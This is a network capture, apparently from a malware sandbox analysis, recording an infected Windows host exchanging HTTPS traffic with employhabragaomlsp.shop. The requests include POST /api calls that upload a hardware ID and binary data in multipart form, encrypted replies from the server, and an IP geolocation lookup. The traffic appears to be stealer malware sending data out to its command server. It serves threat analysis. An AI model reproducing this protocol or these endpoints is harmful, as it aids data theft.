2024-05-24 07:43:12 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 07:43:13 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=arep618sql1a4u7kfkgi8po45r; expires=Tue, 17-Sep-2024 01:29:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hApGYJS4Xmh7Mn5s1v8DT6tE%2FB7ATAc108tcN2Lys%2B5XoUcDInnggUaP%2BcSpmDOixk03COvazw4nv7mweTgUKRLlFAOxiQjA8zuxFFtWuw4qFcUKF3aTJvPKnh86iEu%2B5TzlWwpbb2POtQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7477d5642d0-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49954	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:12 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 07:43:12 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 07:43:13 UTC	822	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=174lk8vj727h7jfnvuv7tjtej0; expires=Tue, 17-Sep-2024 01:29:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FQwyTOrzJLtl5D0GK8Ts6aIS3oFjTqHiOg7FluahpyAIow5B3S8eNcy%2Frax5%2B7ZtqZFmZbWU5SaGzosKci1ftOZt8S2A5xf%2FUT7Z9TEu6%2BJ8pYWe%2BZF8SjvOwircFuT%2FyBum5u1yu7Wd%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba74a6e22b9c5-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:13 UTC	547	IN	Data Raw: 35 30 32 0d 0a 72 58 7a 7a 52 73 57 4d 36 49 78 68 33 32 4f 72 76 31 50 7a 6a 57 44 48 4b 4e 34 32 53 4d 62 39 61 4b 2b 42 75 72 47 41 6e 45 76 57 64 76 70 6b 73 36 37 53 72 46 58 7a 61 61 4b 64 49 4a 61 76 57 75 64 63 72 45 4d 74 36 76 64 68 6a 65 44 65 6b 37 71 38 4c 63 77 51 67 43 50 70 68 75 47 75 44 4b 64 42 6b 5a 38 49 2b 59 51 62 7a 53 48 58 46 43 32 6f 33 31 4b 50 6f 38 33 55 34 76 6b 7a 32 52 6d 64 4e 61 7a 6a 68 73 77 4d 75 68 66 4b 30 6a 4b 41 35 6b 36 75 52 2f 77 61 51 73 2f 30 53 73 72 37 6d 49 75 67 76 67 62 49 43 4a 49 4c 70 50 2b 44 72 6b 33 56 61 71 4b 64 4e 6f 65 76 57 75 63 4b 67 68 51 34 70 34 38 4a 77 76 4c 6d 6b 37 72 6e 46 34 38 56 68 79 4f 33 37 5a 7a 6c 44 72 45 51 39 35 31 70 78 62 31 51 39 78 6a 75 53 32 72 4d 39 42 57 6c 69 4f Data Ascii: 502rXzzRsWM6Ixh32Orv1PzjWDHKN42SMb9aK+BurGAnEvWdvpks67SrFXzaaKdIJavWudcrEMt6vdhjeDek7q8LcwQgCPphuGuDKdBkZ8I+YQbzSHXFC2o31KPo83U4vkz2RmdNazjhswMuhfK0jKA5k6uR/waQs/0Ssr7mIugvgbICJILpP+Drk3VaqKdNoevWucKghQ4p48JwvLmk7rnF48VhyO37ZzlDrEQ951pxb1Q9xjuS2rM9BWliO
2024-05-24 07:43:13 UTC	742	IN	Data Raw: 76 52 59 71 62 36 73 4c 69 4a 76 69 37 44 58 73 6c 6d 35 2b 69 45 37 77 36 39 45 38 48 57 4f 70 54 39 43 61 78 48 73 56 51 6e 72 70 41 4a 7a 65 54 53 32 65 33 30 4c 63 49 54 6c 79 53 6e 72 73 53 47 61 4e 5a 42 7a 73 56 78 79 61 31 43 68 6b 2b 73 55 79 61 79 33 54 43 4e 69 37 50 4d 72 4a 56 72 6a 58 62 36 50 63 2b 46 34 61 34 45 73 55 47 52 6e 33 47 5a 36 67 47 6d 51 62 4e 58 49 71 2b 4e 43 74 2f 6c 31 64 62 77 2b 43 7a 42 46 4a 49 32 72 65 43 4d 37 51 71 32 43 4d 7a 61 4e 64 47 68 61 73 34 68 2f 46 4d 79 35 4d 64 49 6a 63 4c 56 32 4f 37 30 50 73 39 65 2b 55 2b 34 6f 4f 4b 46 47 74 56 71 6f 70 30 32 6e 61 39 61 35 77 71 34 56 53 36 6c 6d 77 54 44 35 39 54 56 37 50 4d 6d 79 52 53 52 49 36 33 6d 67 75 38 4f 74 67 37 4a 32 44 79 56 36 51 36 6b 54 2f 77 61 51 Data Ascii: vRYqb6sLiJvi7DXslm5+iE7w69E8HWOpT9CaxHsVQnrpAJzeTS2e30LcITlySnrsSGaNZBzsVxya1Chk+sUyay3TCNi7PMrJVrjXb6Pc+F4a4EsUGRn3GZ6gGmQbNXIq+NCt/l1dbw+CzBFJI2reCM7Qq2CMzaNdGhas4h/FMy5MdIjcLV2O70Ps9e+U+4oOKFGtVqop02na9a5wq4VS6lmwTD59TV7PMmyRSRI63mgu8Otg7J2DyV6Q6kT/waQ
2024-05-24 07:43:13 UTC	1369	IN	Data Raw: 33 38 62 32 0d 0a 69 57 5a 4d 2b 46 6c 61 42 72 31 68 69 68 74 6c 72 52 36 41 37 6c 45 76 34 55 4c 4b 69 61 42 63 50 6a 31 74 4c 76 2b 43 33 43 48 6f 4d 69 74 65 6d 4c 37 51 43 37 42 4d 33 64 4d 4a 54 71 42 71 31 4f 73 46 74 71 36 76 64 68 70 71 50 66 79 36 4b 6d 61 34 38 78 68 69 71 78 35 5a 37 70 45 36 77 37 69 2b 67 79 6e 2b 45 46 73 77 72 55 50 7a 58 71 39 32 48 55 69 37 4f 34 6f 76 6b 6c 6a 30 62 54 5a 4b 37 38 6d 4f 6f 46 74 67 72 62 7a 7a 75 56 37 67 4f 69 52 62 31 66 4c 36 69 56 41 63 6e 78 30 4e 72 68 37 43 33 50 46 5a 73 69 35 36 44 69 68 57 6a 39 42 74 47 64 61 64 4f 76 4a 71 68 61 73 46 38 38 6f 34 38 2f 7a 75 33 57 31 50 53 2b 51 61 51 42 33 30 7a 4d 39 2b 4b 46 61 50 30 47 78 5a 31 70 30 36 38 4e 71 6b 57 30 56 43 75 67 6b 67 37 4d 37 74 54 Data Ascii: 38b2iWZM+FlaBr1hihtlrR6A7lEv4ULKiaBcPj1tLv+C3CHoMitemL7QC7BM3dMJTqBq1OsFtq6vdhpqPfy6Kma48xhiqx5Z7pE6w7i+gyn+EFswrUPzXq92HUi7O4ovklj0bTZK78mOoFtgrbzzuV7gOiRb1fL6iVAcnx0Nrh7C3PFZsi56DihWj9BtGdadOvJqhasF88o48/zu3W1PS+QaQB30zM9+KFaP0GxZ1p068NqkW0VCugkg7M7tT
2024-05-24 07:43:13 UTC	1369	IN	Data Raw: 59 39 47 30 32 53 58 34 34 62 6c 44 2f 38 30 79 74 4d 2f 6c 76 6c 43 7a 53 47 6a 47 6b 4c 50 68 6d 4b 6d 69 4a 6a 55 37 72 35 78 6a 56 36 65 4a 61 72 6b 67 65 41 50 76 41 48 4e 33 6a 75 52 34 41 65 6a 51 72 56 55 4f 4b 4f 51 43 38 7a 6f 30 39 37 73 2b 79 6a 4b 47 64 46 71 7a 34 58 68 72 67 53 6c 51 5a 47 66 63 62 7a 47 4f 4f 55 69 31 30 74 6b 7a 50 51 54 70 59 69 7a 6b 2b 58 79 61 5a 64 63 30 53 43 74 37 6f 66 6b 43 4c 49 43 7a 74 4d 78 6e 4f 55 51 72 55 71 38 57 69 79 6c 6b 77 2f 4d 37 39 76 42 37 76 67 6b 79 52 61 44 5a 4f 6d 47 34 59 56 44 75 68 6d 4a 68 58 50 52 7a 77 6d 70 53 62 42 56 4c 65 61 2b 41 4d 37 6f 31 4a 48 58 2f 53 66 42 47 59 64 6b 7a 34 57 56 6f 47 76 57 47 4b 47 32 57 74 48 6f 44 75 55 53 2f 68 51 75 6f 4a 4d 4b 79 75 33 63 31 65 2f 35 Data Ascii: Y9G02SX44blD/80ytM/lvlCzSGjGkLPhmKmiJjU7r5xjV6eJarkgeAPvAHN3juR4AejQrVUOKOQC8zo097s+yjKGdFqz4XhrgSlQZGfcbzGOOUi10tkzPQTpYizk+XyaZdc0SCt7ofkCLICztMxnOUQrUq8Wiylkw/M79vB7vgkyRaDZOmG4YVDuhmJhXPRzwmpSbBVLea+AM7o1JHX/SfBGYdkz4WVoGvWGKG2WtHoDuUS/hQuoJMKyu3c1e/5
2024-05-24 07:43:13 UTC	1369	IN	Data Raw: 55 6f 72 75 75 4d 37 77 61 34 41 4d 33 52 4f 35 66 73 41 61 70 46 73 31 78 71 36 76 64 68 70 71 50 66 79 36 4b 6d 61 34 38 37 68 69 2b 70 36 4d 71 47 61 4b 4a 50 6f 62 59 6f 2b 59 52 70 35 55 32 77 46 48 4c 6d 33 77 62 45 35 64 37 57 37 76 38 76 78 78 75 5a 49 4b 62 6f 6a 4f 30 4d 75 51 54 49 30 6a 57 64 34 51 69 6b 53 37 42 66 4a 61 2b 61 53 6f 4f 4c 73 37 69 69 2b 54 47 50 52 74 4e 6b 6c 75 32 63 2b 52 4f 78 51 61 47 32 4c 74 2b 48 61 62 77 69 31 7a 39 71 6f 35 4e 4b 6c 61 47 59 30 76 44 30 49 38 45 62 6e 69 47 6b 34 59 33 6a 42 62 45 4c 77 4e 55 33 6e 75 59 51 70 6b 61 79 55 79 53 6f 6b 51 66 48 34 4e 57 54 72 4a 5a 43 70 46 36 57 50 4f 65 32 79 4b 34 76 75 67 7a 6e 31 6a 32 57 72 32 72 4f 56 66 49 38 51 62 33 33 59 61 61 6a 33 39 2b 69 70 6d 75 50 45 Data Ascii: UoruuM7wa4AM3RO5fsAapFs1xq6vdhpqPfy6Kma487hi+p6MqGaKJPobYo+YRp5U2wFHLm3wbE5d7W7v8vxxuZIKbojO0MuQTI0jWd4QikS7BfJa+aSoOLs7ii+TGPRtNklu2c+ROxQaG2Lt+Habwi1z9qo5NKlaGY0vD0I8EbniGk4Y3jBbELwNU3nuYQpkayUySokQfH4NWTrJZCpF6WPOe2yK4vugzn1j2Wr2rOVfI8Qb33Yaaj39+ipmuPE
2024-05-24 07:43:13 UTC	1369	IN	Data Raw: 72 67 75 73 43 74 51 76 42 30 6a 36 44 37 67 32 73 54 62 64 5a 4a 61 71 61 42 4e 2f 6b 30 39 6a 71 39 79 66 4a 58 74 39 4d 7a 49 58 4b 36 52 76 39 57 59 75 64 42 35 4c 68 43 62 52 46 76 31 68 71 7a 50 51 56 67 34 75 7a 79 6f 71 56 51 6f 38 5a 6e 57 54 2f 72 4d 72 69 44 62 30 4f 78 64 45 36 6d 65 34 4f 71 30 32 35 58 53 4b 73 6a 51 76 4a 36 39 6e 64 37 66 38 74 79 68 75 56 49 36 50 6f 68 61 35 4e 31 57 71 69 6e 54 61 4a 72 31 72 6e 43 70 4e 54 50 34 57 6c 53 71 57 49 78 35 32 4b 6c 54 43 6e 64 66 70 6b 6f 4f 4c 4b 74 6b 48 39 43 38 4c 5a 4d 70 58 71 44 61 52 4c 75 6b 59 74 72 59 30 45 77 4f 7a 51 32 2b 76 2f 4c 63 6f 54 6c 79 69 74 37 34 33 67 44 62 56 42 68 37 56 61 2b 71 38 46 76 51 72 6b 46 6d 71 46 6a 78 48 66 39 64 58 79 37 2f 46 70 70 33 57 4f 61 73 Data Ascii: rgusCtQvB0j6D7g2sTbdZJaqaBN/k09jq9yfJXt9MzIXK6Rv9WYudB5LhCbRFv1hqzPQVg4uzyoqVQo8ZnWT/rMriDb0OxdE6me4Oq025XSKsjQvJ69nd7f8tyhuVI6Poha5N1WqinTaJr1rnCpNTP4WlSqWIx52KlTCndfpkoOLKtkH9C8LZMpXqDaRLukYtrY0EwOzQ2+v/LcoTlyit743gDbVBh7Va+q8FvQrkFmqFjxHf9dXy7/Fpp3WOas
2024-05-24 07:43:13 UTC	1369	IN	Data Raw: 43 37 49 54 7a 4e 51 35 6c 65 59 43 6f 55 43 78 55 79 71 68 6b 67 2f 4a 37 64 7a 55 34 76 49 6d 79 42 61 65 49 4b 66 68 79 71 42 72 31 6d 71 4a 32 69 6e 52 74 30 44 6c 61 72 64 43 43 36 71 55 47 49 32 4c 73 38 79 73 6c 6b 4c 57 64 76 70 50 35 2b 6d 47 72 6c 76 2f 51 63 66 55 4d 4a 6e 68 44 71 31 4f 72 6c 51 68 72 5a 41 4c 77 75 50 62 30 75 6a 32 4f 38 6b 65 6d 69 79 67 35 6f 37 67 45 62 77 4f 69 5a 4e 5a 2b 6f 52 43 6f 6c 4c 38 44 47 6a 6b 72 68 7a 4b 35 4e 65 52 79 2f 6b 79 7a 68 53 53 4c 36 75 75 34 6f 55 63 38 32 6d 69 78 46 6e 36 68 45 4b 69 52 76 77 4d 61 4f 53 53 42 73 44 6e 79 74 2f 69 2f 69 44 49 46 49 4d 72 71 4f 4f 4a 37 67 61 76 41 4e 76 53 4f 70 54 73 42 71 70 46 73 46 77 67 35 4e 46 69 70 6f 69 59 31 50 71 2b 63 59 31 65 76 53 65 32 35 4d 6a Data Ascii: C7ITzNQ5leYCoUCxUyqhkg/J7dzU4vImyBaeIKfhyqBr1mqJ2inRt0DlardCC6qUGI2Ls8yslkLWdvpP5+mGrlv/QcfUMJnhDq1OrlQhrZALwuPb0uj2O8kemiyg5o7gEbwOiZNZ+oRColL8DGjkrhzK5NeRy/kyzhSSL6uu4oUc82mixFn6hEKiRvwMaOSSBsDnyt/i/iDIFIMrqOOJ7gavANvSOpTsBqpFsFwg5NFipoiY1Pq+cY1evSe25Mj
2024-05-24 07:43:13 UTC	1369	IN	Data Raw: 71 4b 64 4e 6f 6d 76 57 75 63 4b 6e 30 4d 38 72 6f 52 4b 70 59 6a 48 6e 59 71 56 4d 4b 64 31 2b 6d 53 67 34 73 71 32 51 66 30 4d 7a 74 4d 35 6c 2b 45 45 74 30 61 7a 55 69 71 6c 6c 51 66 42 36 4e 2f 64 36 66 67 73 77 68 36 58 49 71 50 71 6a 75 41 41 2f 55 2b 68 74 6c 72 52 36 42 72 6c 45 76 34 55 44 59 6d 75 53 4f 37 30 7a 74 6e 6c 38 6a 2f 45 48 35 49 79 71 76 37 4b 68 6d 69 69 54 36 47 32 4b 50 6d 45 61 65 56 4e 73 42 52 79 35 74 38 42 77 2b 62 5a 33 2b 6a 35 4a 39 30 66 6d 79 69 6d 36 59 33 6c 45 62 59 54 77 74 55 79 6e 2b 63 4c 70 55 53 38 56 53 65 6b 33 30 53 6c 69 4c 4f 54 35 65 5a 70 6c 31 7a 52 41 59 54 35 6e 4f 52 42 6e 68 62 66 31 7a 61 64 2b 51 6d 6b 53 61 70 5a 4f 75 54 33 59 64 4b 74 73 4c 6a 37 6c 6b 4b 6b 58 70 59 6f 35 37 62 49 72 67 69 79 Data Ascii: qKdNomvWucKn0M8roRKpYjHnYqVMKd1+mSg4sq2Qf0MztM5l+EEt0azUiqllQfB6N/d6fgswh6XIqPqjuAA/U+htlrR6BrlEv4UDYmuSO70ztnl8j/EH5Iyqv7KhmiiT6G2KPmEaeVNsBRy5t8Bw+bZ3+j5J90fmyim6Y3lEbYTwtUyn+cLpUS8VSek30SliLOT5eZpl1zRAYT5nORBnhbf1zad+QmkSapZOuT3YdKtsLj7lkKkXpYo57bIrgiy
2024-05-24 07:43:13 UTC	1369	IN	Data Raw: 6e 54 76 30 7a 4e 49 64 63 55 4c 72 58 66 55 6f 2b 7a 69 6f 69 33 72 58 36 66 54 50 6c 50 75 4b 44 69 68 52 72 56 61 71 4b 64 4a 39 47 33 51 50 63 45 31 44 39 42 35 49 31 4b 6c 61 47 59 6c 4f 7a 7a 4b 4d 77 51 6b 6a 61 31 36 49 6e 34 41 50 6f 2f 39 2f 77 38 6d 75 4d 50 71 6b 47 43 61 67 75 70 6c 41 62 41 37 4e 50 74 33 4f 73 71 77 52 43 57 4d 72 61 75 78 49 5a 6f 31 6b 48 47 6e 57 6e 54 31 6b 4c 74 43 6f 4d 61 51 73 2f 30 53 74 57 6a 67 4a 47 69 79 79 72 42 45 4a 59 79 74 71 4f 72 34 77 69 78 44 4d 62 57 63 64 2b 48 61 63 34 4b 75 68 52 79 35 73 39 45 70 59 69 7a 6b 2b 62 76 61 5a 64 63 77 58 62 38 75 39 6d 35 55 2b 39 70 6f 73 4a 2f 2b 59 51 62 7a 53 48 58 46 44 7a 6b 78 30 69 66 72 62 43 34 69 62 34 37 6a 30 62 54 5a 4f 44 74 6d 50 77 46 76 68 66 4b 6d Data Ascii: nTv0zNIdcULrXfUo+zioi3rX6fTPlPuKDihRrVaqKdJ9G3QPcE1D9B5I1KlaGYlOzzKMwQkja16In4APo/9/w8muMPqkGCaguplAbA7NPt3OsqwRCWMrauxIZo1kHGnWnT1kLtCoMaQs/0StWjgJGiyyrBEJYytqOr4wixDMbWcd+Hac4KuhRy5s9EpYizk+bvaZdcwXb8u9m5U+9posJ/+YQbzSHXFDzkx0ifrbC4ib47j0bTZODtmPwFvhfKm

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49955	104.26.5.15	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:13 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 07:43:13 UTC	654	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:13 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46E66C:C3AE_93878F2E:0050_66504511_EEE3E25:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NcVZofi9DMNstB8wL56s971CO1XNJhNy%2BXD5oiBHHe0GHyboTJrBrYgpvArGtMH8Iskk6pSQXPGC%2BuaWHoRcSUVwHfLSdAxJNMe9aU8dytPHgh8f2iTsu3U%2B4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba74ba8b38c83-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:13 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 07:43:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49956	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:13 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1463 Host: employhabragaomlsp.shop
2024-05-24 07:43:13 UTC	1463	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:14 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4p9nqtbng59447buc6en0ljsar; expires=Tue, 17-Sep-2024 01:29:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DdkSqrMB2xjAergD5qf6uIwO%2Bl72HmgCmvZ38DZXwDbCf%2BPx5d%2FqF95ClW8aaEYADPRNSxVtnUuCIfPR1EdMUYJjs6z8k0WdeNl133kY87gz%2Fb8cYp0nO2PsgblEWiLJEqwTHC3csT7jpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba74c3cd78cdd-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49957	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:13 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 07:43:13 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:13 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 07:43:13 UTC	822	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uh31jfji7qe212ifdi9f3m9m8d; expires=Tue, 17-Sep-2024 01:29:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Zui1Yk8FepaOc4HPVMO1XPMuMDKIgkImCJfnovPgk6WkLo8e1l%2BQnE1UUiiz7JFrrliD5Ab%2BtTFDnKTUw%2BZgtwOFt7Y%2BKgNKnS%2Bo1CJR4mx1Pg69Vdb0XdV%2F7%2BUgRvJzfAnZ%2FjrKItiPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba74cbe890c95-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

